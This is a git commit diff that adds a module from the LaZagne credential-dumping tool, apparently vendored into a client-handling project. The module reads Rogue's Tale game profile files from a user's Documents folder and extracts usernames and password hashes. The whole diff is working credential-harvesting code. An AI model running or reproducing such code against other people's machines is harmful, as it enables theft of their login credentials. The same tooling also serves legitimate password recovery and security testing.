diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/games/roguestale.py |
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/games/roguestale.py')
-rw-r--r-- | foreign/client_handling/lazagne/softwares/games/roguestale.py | 41 |
1 files changed, 41 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/games/roguestale.py b/foreign/client_handling/lazagne/softwares/games/roguestale.py new file mode 100644 index 0000000..ded16eb --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/games/roguestale.py @@ -0,0 +1,41 @@ +# -*- coding: utf-8 -*- +import os +import re +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class RoguesTale(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'roguestale', 'games') + + def run(self): + creds = [] + directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users' + + # The actual user details are stored in *.userdata files + if os.path.exists(directory): + files = os.listdir(directory) + + for f in files: + if re.match('.*\.userdata', f): + # We've found a user file, now extract the hash and username + + xmlfile = directory + '\\' + f + tree = ElementTree(file=xmlfile) + root = tree.getroot() + + # Double check to make sure that the file is valid + if root.tag != 'user': + self.warning(u'Profile %s does not appear to be valid' % f) + continue + + # Now save it to credentials + creds.append({ + 'Login': root.attrib['username'], + 'Hash': root.attrib['password'] + }) + + return creds |